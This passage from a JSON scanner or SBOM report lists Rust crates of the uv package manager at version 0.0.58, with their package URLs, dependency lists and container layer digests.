"sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-cache-info@0.0.58", "Name": "uv-cache-info", "Identifier": { "PURL": "pkg:cargo/uv-cache-info@0.0.58", "UID": "c3642760a84bedd9" }, "Version": "0.0.58", "DependsOn": [ "fs-err@3.3.0", "globwalk@0.9.1", "schemars@1.2.1", "serde@1.0.228", "thiserror@2.0.18", "toml@1.1.2+spec-1.1.0", "tracing@0.1.44", "uv-fs@0.0.58", "walkdir@2.5.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-cache-key@0.0.58", "Name": "uv-cache-key", "Identifier": { "PURL": "pkg:cargo/uv-cache-key@0.0.58", "UID": "a939cb0f9801908e" }, "Version": "0.0.58", "DependsOn": [ "hex@0.4.3", "memchr@2.8.2", "percent-encoding@2.3.2", "seahash@4.1.0", "url@2.5.8", "uv-redacted@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-cli@0.0.58", "Name": "uv-cli", "Identifier": { "PURL": "pkg:cargo/uv-cli@0.0.58", "UID": "67a501f94f1eb757" }, "Version": "0.0.58", "DependsOn": [ "anstream@1.0.0", "anyhow@1.0.102", "clap@4.6.1", "clap_complete_command@0.6.1", "fs-err@3.3.0", "serde@1.0.228", "url@2.5.8", "uv-audit@0.0.58", "uv-auth@0.0.58", "uv-cache@0.0.58", "uv-configuration@0.0.58", "uv-distribution-types@0.0.58", "uv-install-wheel@0.0.58", "uv-normalize@0.0.58", "uv-pep508@0.0.58", "uv-preview@0.0.58", "uv-pypi-types@0.0.58", "uv-python@0.0.58", "uv-redacted@0.0.58", "uv-resolver@0.0.58", "uv-settings@0.0.58", "uv-static@0.0.58", "uv-torch@0.0.58", "uv-version@0.11.25", "uv-warnings@0.0.58", "uv-workspace@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-client@0.0.58", "Name": "uv-client", "Identifier": { "PURL": "pkg:cargo/uv-client@0.0.58", "UID": "a82cdd3d763a4458" }, "Version": "0.0.58", "DependsOn": [ "anyhow@1.0.102", "astral-reqwest-middleware@0.5.1", "astral-reqwest-retry@0.9.1", "astral-tl@0.7.11", "astral_async_http_range_reader@0.11.0", "astral_async_zip@0.0.18", "async-trait@0.1.89", "bytecheck@0.8.2", "fs-err@3.3.0", "futures@0.3.32", "h2@0.4.14", "html-escape@0.2.13", "http@1.4.1", "itertools@0.14.0", "jiff@0.2.28", "percent-encoding@2.3.2", "reqwest@0.13.4", "rkyv@0.8.16", "rmp-serde@1.3.1", "rustc-hash@2.1.2", "rustls-native-certs@0.8.4", "rustls-pki-types@1.14.1", "rustls-webpki@0.103.13", "serde@1.0.228", "serde_json@1.0.150", "thiserror@2.0.18", "tokio@1.52.3", "tokio-util@0.7.18", "tracing@0.1.44", "url@2.5.8", "uv-auth@0.0.58", "uv-cache@0.0.58", "uv-cache-key@0.0.58", "uv-configuration@0.0.58", "uv-distribution-filename@0.0.58", "uv-distribution-types@0.0.58", "uv-fs@0.0.58", "uv-git@0.0.58", "uv-metadata@0.0.58", "uv-normalize@0.0.58", "uv-pep440@0.0.58", "uv-pep508@0.0.58", "uv-platform@0.0.58", "uv-platform-tags@0.0.58", "uv-preview@0.0.58", "uv-pypi-types@0.0.58", "uv-redacted@0.0.58", "uv-small-str@0.0.58", "uv-static@0.0.58", "uv-torch@0.0.58", "uv-version@0.11.25", "uv-warnings@0.0.58", "webpki-root-certs@1.0.7", "x509-parser@0.18.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-configuration@0.0.58", "Name": "uv-configuration", "Identifier": { "PURL": "pkg:cargo/uv-configuration@0.0.58", "UID": "e673a3730375e16e" }, "Version": "0.0.58", "DependsOn": [ "clap@4.6.1", "either@1.16.0", "fs-err@3.3.0", "rayon@1.12.0", "reqwest@0.13.4", "rustc-hash@2.1.2", "same-file@1.0.6", "schemars@1.2.1", "serde@1.0.228", "serde-untagged@0.1.9", "thiserror@2.0.18", "tokio@1.52.3", "tracing@0.1.44", "url@2.5.8", "uv-auth@0.0.58", "uv-cache@0.0.58", "uv-cache-info@0.0.58", "uv-distribution-types@0.0.58", "uv-git@0.0.58", "uv-normalize@0.0.58", "uv-pep440@0.0.58", "uv-pep508@0.0.58", "uv-platform-tags@0.0.58", "uv-redacted@0.0.58", "uv-static@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-console@0.0.58", "Name": "uv-console", "Identifier": { "PURL": "pkg:cargo/uv-console@0.0.58", "UID": "d1eaa6d9db81b423" }, "Version": "0.0.58", "DependsOn": [ "console@0.16.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-dirs@0.0.58", "Name": "uv-dirs", "Identifier": { "PURL": "pkg:cargo/uv-dirs@0.0.58", "UID": "ef2c0437b9b54ad2" }, "Version": "0.0.58", "DependsOn": [ "etcetera@0.11.0", "fs-err@3.3.0", "tracing@0.1.44", "uv-static@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-dispatch@0.0.58", "Name": "uv-dispatch", "Identifier": { "PURL": "pkg:cargo/uv-dispatch@0.0.58", "UID": "8e279131a656c645" }, "Version": "0.0.58", "DependsOn": [ "anyhow@1.0.102", "futures@0.3.32", "itertools@0.14.0", "rustc-hash@2.1.2", "thiserror@2.0.18", "tokio@1.52.3", "tracing@0.1.44", "uv-build-backend@0.0.58", "uv-build-frontend@0.0.58", "uv-cache@0.0.58", "uv-client@0.0.58", "uv-configuration@0.0.58", "uv-distribution@0.0.58", "uv-distribution-filename@0.0.58", "uv-distribution-types@0.0.58", "uv-errors@0.0.58", "uv-git@0.0.58", "uv-install-wheel@0.0.58", "uv-installer@0.0.58", "uv-platform-tags@0.0.58", "uv-preview@0.0.58", "uv-pypi-types@0.0.58", "uv-python@0.0.58", "uv-requirements@0.0.58", "uv-resolver@0.0.58", "uv-types@0.0.58", "uv-version@0.11.25", "uv-workspace@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-distribution@0.0.58", "Name": "uv-distribution", "Identifier": { "PURL": "pkg:cargo/uv-distribution@0.0.58", "UID": "7f4943736e23e3" }, "Version": "0.0.58", "DependsOn": [ "anyhow@1.0.102", "astral-reqwest-middleware@0.5.1", "either@1.16.0", "fs-err@3.3.0", "futures@0.3.32", "owo-colors@4.3.0", "reqwest@0.13.4", "rmp-serde@1.3.1", "rustc-hash@2.1.2", "serde@1.0.228", "tempfile@3.27.0", "thiserror@2.0.18", "tokio@1.52.3", "tokio-util@0.7.18", "toml@1.1.2+spec-1.1.0", "tracing@0.1.44", "url@2.5.8", "uv-auth@0.0.58", "uv-cache@0.0.58", "uv-cache-info@0.0.58", "uv-client@0.0.58", "uv-configuration@0.0.58", "uv-distribution-filename@0.0.58", "uv-distribution-types@0.0.58", "uv-errors@0.0.58", "uv-extract@0.0.58", "uv-fastid@0.0.58", "uv-flags@0.0.58", "uv-fs@0.0.58", "uv-git@0.0.58", "uv-git-types@0.0.58", "uv-install-wheel@0.0.58", "uv-metadata@0.0.58", "uv-normalize@0.0.58", "uv-pep440@0.0.58", "uv-pep508@0.0.58", "uv-platform-tags@0.0.58", "uv-pypi-types@0.0.58", "uv-python@0.0.58", "uv-redacted@0.0.58", "uv-types@0.0.58", "uv-warnings@0.0.58", "uv-workspace@0.0.58", "walkdir@2.5.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-distribution-filename@0.0.58", "Name": "uv-distribution-filename", "Identifier": { "PURL": "pkg:cargo/uv-distribution-filename@0.0.58", "UID": "285f9ac9b62405d" }, "Version": "0.0.58", "DependsOn": [ "memchr@2.8.2", "rkyv@0.8.16", "serde@1.0.228", "smallvec@1.15.2", "thiserror@2.0.18", "uv-cache-key@0.0.58", "uv-normalize@0.0.58", "uv-pep440@0.0.58", "uv-platform-tags@0.0.58", "uv-small-str@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-distribution-types@0.0.58", "Name": "uv-distribution-types", "Identifier": { "PURL": "pkg:cargo/uv-distribution-types@0.0.58", "UID": "b6c532ec914f50f8" }, "Version": "0.0.58", "DependsOn": [ "arcstr@1.2.0", "astral-version-ranges@0.1.4", "bitflags@2.13.0", "fs-err@3.3.0", "http@1.4.1", "itertools@0.14.0", "jiff@0.2.28", "owo-colors@4.3.0", "percent-encoding@2.3.2", "petgraph@0.8.3", "rkyv@0.8.16", "rustc-hash@2.1.2", "schemars@1.2.1", "serde@1.0.228", "serde_json@1.0.150", "thiserror@2.0.18", "tracing@0.1.44", "url@2.5.8", "uv-auth@0.0.58", "uv-cache-info@0.0.58", "uv-cache-key@0.0.58", "uv-distribution-filename@0.0.58", "uv-errors@0.0.58", "uv-fs@0.0.58", "uv-git-types@0.0.58", "uv-install-wheel@0.0.58", "uv-normalize@0.0.58", "uv-pep440@0.0.58", "uv-pep508@0.0.58", "uv-platform-tags@0.0.58", "uv-pypi-types@0.0.58", "uv-redacted@0.0.58", "uv-small-str@0.0.58", "uv-warnings@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-errors@0.0.58", "Name": "uv-errors", "Identifier": { "PURL": "pkg:cargo/uv-errors@0.0.58", "UID": "a34cf4e0478b9cf7" }, "Version": "0.0.58", "DependsOn": [ "anstream@1.0.0", "owo-colors@4.3.0", "terminal_size@0.4.4", "textwrap@0.16.2", "uv-static@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-extract@0.0.58", "Name": "uv-extract", "Identifier": { "PURL": "pkg:cargo/uv-extract@0.0.58", "UID": "21c290b858e01d3c" }, "Version": "0.0.58", "DependsOn": [ "astral-tokio-tar@0.6.3", "astral_async_zip@0.0.18", "async-compression@0.4.19", "blake2@0.10.6", "flate2@1.1.9", "fs-err@3.3.0", "futures@0.3.32", "md-5@0.10.6", "rayon@1.12.0", "regex@1.12.4", "reqwest@0.13.4", "rustc-hash@2.1.2", "sha2@0.10.9", "thiserror@2.0.18", "tokio@1.52.3", "tokio-util@0.7.18", "tracing@0.1.44", "uv-configuration@0.0.58", "uv-distribution-filename@0.0.58", "uv-pypi-types@0.0.58", "uv-static@0.0.58", "uv-warnings@0.0.58", "xz2@0.1.7" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-fastid@0.0.58", "Name": "uv-fastid", "Identifier": { "PURL": "pkg:cargo/uv-fastid@0.0.58", "UID": "558b0ac2180ce1e4" }, "Version": "0.0.58", "DependsOn": [ "rand@0.9.4", "serde@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-flags@0.0.58", "Name": "uv-flags", "Identifier": { "PURL": "pkg:cargo/uv-flags@0.0.58", "UID": "f34c45f298564782" }, "Version": "0.0.58", "DependsOn": [ "bitflags@2.13.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-fs@0.0.58", "Name": "uv-fs", "Identifier": { "PURL": "pkg:cargo/uv-fs@0.0.58", "UID": "cdf9393af37b7d94" }, "Version": "0.0.58", "DependsOn": [ "clap@4.6.1", "dunce@1.0.5", "either@1.16.0", "encoding_rs_io@0.1.7", "fs-err@3.3.0", "path-slash@0.2.1", "percent-encoding@2.3.2", "reflink-copy@0.1.29", "rustc-hash@2.1.2", "rustix@1.1.4", "same-file@1.0.6", "schemars@1.2.1", "serde@1.0.228", "tempfile@3.27.0", "thiserror@2.0.18", "tokio@1.52.3", "tracing@0.1.44", "uv-static@0.0.58", "uv-warnings@0.0.58", "walkdir@2.5.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-git@0.0.58", "Name": "uv-git", "Identifier": { "PURL": "pkg:cargo/uv-git@0.0.58", "UID": "a79d64c52d9b9c24" }, "Version": "0.0.58", "DependsOn": [ "anyhow@1.0.102", "astral-reqwest-middleware@0.5.1", "cargo-util@0.2.28", "fs-err@3.3.0", "owo-colors@4.3.0", "papaya@0.2.4", "reqwest@0.13.4", "thiserror@2.0.18", "tokio@1.52.3", "tracing@0.1.44", "url@2.5.8", "uv-auth@0.0.58", "uv-cache-key@0.0.58", "uv-fs@0.0.58", "uv-git-types@0.0.58", "uv-redacted@0.0.58", "uv-static@0.0.58", "uv-version@0.11.25", "uv-warnings@0.0.58", "which@8.0.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-git-types@0.0.58", "Name": "uv-git-types", "Identifier": { "PURL": "pkg:cargo/uv-git-types@0.0.58", "UID": "bb00eae1afbe8e13" }, "Version": "0.0.58", "DependsOn": [ "percent-encoding@2.3.2", "serde@1.0.228", "thiserror@2.0.18", "tracing@0.1.44", "url@2.5.8", "uv-cache-key@0.0.58", "uv-redacted@0.0.58", "uv-static@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-globfilter@0.0.58", "Name": "uv-globfilter", "Identifier": { "PURL": "pkg:cargo/uv-globfilter@0.0.58", "UID": "e55fe08b8ea3b1a8" }, "Version": "0.0.58", "DependsOn": [ "globset@0.4.18", "regex@1.12.4", "regex-automata@0.4.14", "thiserror@2.0.18", "tracing@0.1.44", "uv-errors@0.0.58", "walkdir@2.5.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-install-wheel@0.0.58", "Name": "uv-install-wheel", "Identifier": { "PURL": "pkg:cargo/uv-install-wheel@0.0.58", "UID": "3545dc71c490a951" }, "Version": "0.0.58", "DependsOn": [ "configparser@3.2.0", "csv@1.4.0", "data-encoding@2.11.0", "fs-err@3.3.0", "itertools@0.14.0", "mailparse@0.16.1", "owo-colors@4.3.0", "pathdiff@0.2.3", "regex@1.12.4", "rustc-hash@2.1.2", "serde@1.0.228", "serde_json@1.0.150", "sha2@0.10.9", "thiserror@2.0.18", "tracing@0.1.44", "uv-distribution-filename@0.0.58", "uv-flags@0.0.58", "uv-fs@0.0.58", "uv-normalize@0.0.58", "uv-pep440@0.0.58", "uv-preview@0.0.58", "uv-pypi-types@0.0.58", "uv-shell@0.0.58", "uv-trampoline-builder@0.0.58", "uv-warnings@0.0.58", "walkdir@2.5.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-installer@0.0.58", "Name": "uv-installer", "Identifier": { "PURL": "pkg:cargo/uv-installer@0.0.58", "UID": "2005e31b996ee613" }, "Version": "0.0.58", "DependsOn": [ "anyhow@1.0.102", "async-channel@2.5.0", "fs-err@3.3.0", "futures@0.3.32", "owo-colors@4.3.0", "rayon@1.12.0", "rustc-hash@2.1.2", "same-file@1.0.6", "tempfile@3.27.0", "thiserror@2.0.18", "tokio@1.52.3", "tracing@0.1.44", "url@2.5.8", "uv-cache@0.0.58", "uv-cache-info@0.0.58", "uv-cache-key@0.0.58", "uv-configuration@0.0.58", "uv-distribution@0.0.58", "uv-distribution-filename@0.0.58", "uv-distribution-types@0.0.58", "uv-errors@0.0.58", "uv-fs@0.0.58", "uv-git-types@0.0.58", "uv-install-wheel@0.0.58", "uv-normalize@0.0.58", "uv-pep440@0.0.58", "uv-pep508@0.0.58", "uv-platform-tags@0.0.58", "uv-preview@0.0.58", "uv-pypi-types@0.0.58", "uv-python@0.0.58", "uv-redacted@0.0.58", "uv-static@0.0.58", "uv-types@0.0.58", "uv-warnings@0.0.58", "walkdir@2.5.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-keyring@0.0.58", "Name": "uv-keyring", "Identifier": { "PURL": "pkg:cargo/uv-keyring@0.0.58", "UID": "b234bdda3cb727ad" }, "Version": "0.0.58", "DependsOn": [ "async-trait@0.1.89", "secret-service@5.1.0", "thiserror@2.0.18", "tokio@1.52.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-logging@0.0.58", "Name": "uv-logging", "Identifier": { "PURL": "pkg:cargo/uv-logging@0.0.58", "UID": "68ec5ade5026a32e" }, "Version": "0.0.58", "DependsOn": [ "anstream@1.0.0", "jiff@0.2.28", "owo-colors@4.3.0", "tracing@0.1.44", "tracing-subscriber@0.3.23" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-metadata@0.0.58", "Name": "uv-metadata", "Identifier": { "PURL": "pkg:cargo/uv-metadata@0.0.58", "UID": "3e5c4d06edf760fb" }, "Version": "0.0.58", "DependsOn": [ "astral_async_zip@0.0.18", "fs-err@3.3.0", "futures@0.3.32", "thiserror@2.0.18", "tokio@1.52.3", "tokio-util@0.7.18", "tracing@0.1.44", "uv-distribution-filename@0.0.58", "uv-normalize@0.0.58", "uv-pypi-types@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-netrc@0.0.58", "Name": "uv-netrc", "Identifier": { "PURL": "pkg:cargo/uv-netrc@0.0.58", "UID": "85102bd5892c574a" }, "Version": "0.0.58", "DependsOn": [ "shellexpand@3.1.2", "thiserror@2.0.18" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-normalize@0.0.58", "Name": "uv-normalize", "Identifier": { "PURL": "pkg:cargo/uv-normalize@0.0.58", "UID": "a47497616a40a6d9" }, "Version": "0.0.58", "DependsOn": [ "rkyv@0.8.16", "schemars@1.2.1", "serde@1.0.228", "uv-small-str@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-once-map@0.0.58", "Name": "uv-once-map", "Identifier": { "PURL": "pkg:cargo/uv-once-map@0.0.58", "UID": "8fba60a057f71d6a" }, "Version": "0.0.58", "DependsOn": [ "futures@0.3.32", "papaya@0.2.4", "tokio@1.52.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-options-metadata@0.0.58", "Name": "uv-options-metadata", "Identifier": { "PURL": "pkg:cargo/uv-options-metadata@0.0.58", "UID": "807923223deb1e98" }, "Version": "0.0.58", "DependsOn": [ "serde@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-pep440@0.0.58", "Name": "uv-pep440", "Identifier": { "PURL": "pkg:cargo/uv-pep440@0.0.58", "UID": "71ac081b9dfab627" }, "Version": "0.0.58", "DependsOn": [ "astral-version-ranges@0.1.4", "rkyv@0.8.16", "serde@1.0.228", "tracing@0.1.44", "unicode-width@0.2.2", "unscanny@0.1.0", "uv-cache-key@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-pep508@0.0.58", "Name": "uv-pep508", "Identifier": { "PURL": "pkg:cargo/uv-pep508@0.0.58", "UID": "50f5544694fe5a2c" }, "Version": "0.0.58", "DependsOn": [ "arcstr@1.2.0", "astral-version-ranges@0.1.4", "boxcar@0.2.14", "indexmap@2.14.0", "itertools@0.14.0", "regex@1.12.4", "rkyv@0.8.16", "rustc-hash@2.1.2", "schemars@1.2.1", "serde@1.0.228", "smallvec@1.15.2", "temp-env@0.3.6", "thiserror@2.0.18", "unicode-width@0.2.2", "url@2.5.8", "uv-cache-key@0.0.58", "uv-fs@0.0.58", "uv-normalize@0.0.58", "uv-pep440@0.0.58", "uv-redacted@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-performance-memory-allocator@0.0.58", "Name": "uv-performance-memory-allocator", "Identifier": { "PURL": "pkg:cargo/uv-performance-memory-allocator@0.0.58", "UID": "9d3165b3c8e0f5e0" }, "Version": "0.0.58", "DependsOn": [ "tikv-jemallocator@0.6.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-platform@0.0.58", "Name": "uv-platform", "Identifier": { "PURL": "pkg:cargo/uv-platform@0.0.58", "UID": "82da1310b2fbbd0a" }, "Version": "0.0.58", "DependsOn": [ "fs-err@3.3.0", "goblin@0.10.7", "procfs@0.18.0", "regex@1.12.4", "rustix@1.1.4", "target-lexicon@0.13.5", "thiserror@2.0.18", "tracing@0.1.44", "uv-fs@0.0.58", "uv-platform-tags@0.0.58", "uv-static@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-platform-tags@0.0.58", "Name": "uv-platform-tags", "Identifier": { "PURL": "pkg:cargo/uv-platform-tags@0.0.58", "UID": "727a8271de0fcab8" }, "Version": "0.0.58", "DependsOn": [ "bitflags@2.13.0", "memchr@2.8.2", "rkyv@0.8.16", "rustc-hash@2.1.2", "serde@1.0.228", "thiserror@2.0.18", "uv-small-str@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-preview@0.0.58", "Name": "uv-preview", "Identifier": { "PURL": "pkg:cargo/uv-preview@0.0.58", "UID": "cb579b8f6fbdc34a" }, "Version": "0.0.58", "DependsOn": [ "enumflags2@0.7.12", "itertools@0.14.0", "schemars@1.2.1", "serde@1.0.228", "thiserror@2.0.18", "uv-warnings@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-publish@0.0.58", "Name": "uv-publish", "Identifier": { "PURL": "pkg:cargo/uv-publish@0.0.58", "UID": "4f9d116dea857cb0" }, "Version": "0.0.58", "DependsOn": [ "ambient-id@0.0.11", "astral-reqwest-middleware@0.5.1", "astral-reqwest-retry@0.9.1", "astral-tokio-tar@0.6.3", "async-compression@0.4.19", "base64@0.22.1", "fs-err@3.3.0", "futures@0.3.32", "glob@0.3.3", "itertools@0.14.0", "reqwest@0.13.4", "rustc-hash@2.1.2", "serde@1.0.228", "serde_json@1.0.150", "thiserror@2.0.18", "tokio@1.52.3", "tokio-util@0.7.18", "tracing@0.1.44", "url@2.5.8", "uv-auth@0.0.58", "uv-cache@0.0.58", "uv-client@0.0.58", "uv-configuration@0.0.58", "uv-distribution-filename@0.0.58", "uv-distribution-types@0.0.58", "uv-errors@0.0.58", "uv-extract@0.0.58", "uv-fs@0.0.58", "uv-metadata@0.0.58", "uv-pypi-types@0.0.58", "uv-redacted@0.0.58", "uv-static@0.0.58", "uv-warnings@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-pypi-types@0.0.58", "Name": "uv-pypi-types", "Identifier": { "PURL": "pkg:cargo/uv-pypi-types@0.0.58", "UID": "ec59d6351413ad13" }, "Version": "0.0.58", "DependsOn": [ "hashbrown@0.17.1", "indexmap@2.14.0", "itertools@0.14.0", "jiff@0.2.28", "mailparse@0.16.1", "petgraph@0.8.3", "regex@1.12.4", "rkyv@0.8.16", "rustc-hash@2.1.2", "schemars@1.2.1", "serde@1.0.228", "serde-untagged@0.1.9", "thiserror@2.0.18", "toml_edit@0.25.12+spec-1.1.0", "tracing@0.1.44", "url@2.5.8", "uv-cache-key@0.0.58", "uv-distribution-filename@0.0.58", "uv-git-types@0.0.58", "uv-normalize@0.0.58", "uv-pep440@0.0.58", "uv-pep508@0.0.58", "uv-redacted@0.0.58", "uv-small-str@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-python@0.0.58", "Name": "uv-python", "Identifier": { "PURL": "pkg:cargo/uv-python@0.0.58", "UID": "298345d27ce866ab" }, "Version": "0.0.58", "DependsOn": [ "anyhow@1.0.102", "astral-reqwest-middleware@0.5.1", "astral-reqwest-retry@0.9.1", "clap@4.6.1", "configparser@3.2.0", "dunce@1.0.5", "fs-err@3.3.0", "futures@0.3.32", "indexmap@2.14.0", "itertools@0.14.0", "owo-colors@4.3.0", "rayon@1.12.0", "ref-cast@1.0.25", "regex@1.12.4", "reqwest@0.13.4", "rmp-serde@1.3.1", "rustc-hash@2.1.2", "same-file@1.0.6", "schemars@1.2.1", "serde@1.0.228", "serde_json@1.0.150", "target-lexicon@0.13.5", "tempfile@3.27.0", "thiserror@2.0.18", "tokio@1.52.3", "tokio-util@0.7.18", "tracing@0.1.44", "url@2.5.8", "uv-cache@0.0.58", "uv-cache-info@0.0.58", "uv-cache-key@0.0.58", "uv-client@0.0.58", "uv-dirs@0.0.58", "uv-distribution-filename@0.0.58", "uv-distribution-types@0.0.58", "uv-errors@0.0.58", "uv-extract@0.0.58", "uv-fs@0.0.58", "uv-install-wheel@0.0.58", "uv-pep440@0.0.58", "uv-pep508@0.0.58", "uv-platform@0.0.58", "uv-platform-tags@0.0.58", "uv-preview@0.0.58", "uv-pypi-types@0.0.58", "uv-redacted@0.0.58", "uv-state@0.0.58", "uv-static@0.0.58", "uv-trampoline-builder@0.0.58", "uv-warnings@0.0.58", "which@8.0.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-redacted@0.0.58", "Name": "uv-redacted", "Identifier": { "PURL": "pkg:cargo/uv-redacted@0.0.58", "UID": "a50ed0282387de85" }, "Version": "0.0.58", "DependsOn": [ "ref-cast@1.0.25", "schemars@1.2.1", "serde@1.0.228", "thiserror@2.0.18", "url@2.5.8" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-requirements@0.0.58", "Name": "uv-requirements", "Identifier": { "PURL": "pkg:cargo/uv-requirements@0.0.58", "UID": "49f7b6b55bf6a418" }, "Version": "0.0.58", "DependsOn": [ "anyhow@1.0.102", "configparser@3.2.0", "console@0.16.3", "fs-err@3.3.0", "futures@0.3.32", "rustc-hash@2.1.2", "thiserror@2.0.18", "toml@1.1.2+spec-1.1.0", "tracing@0.1.44", "url@2.5.8", "uv-cache-key@0.0.58", "uv-client@0.0.58", "uv-configuration@0.0.58", "uv-console@0.0.58", "uv-distribution@0.0.58", "uv-distribution-filename@0.0.58", "uv-distribution-types@0.0.58", 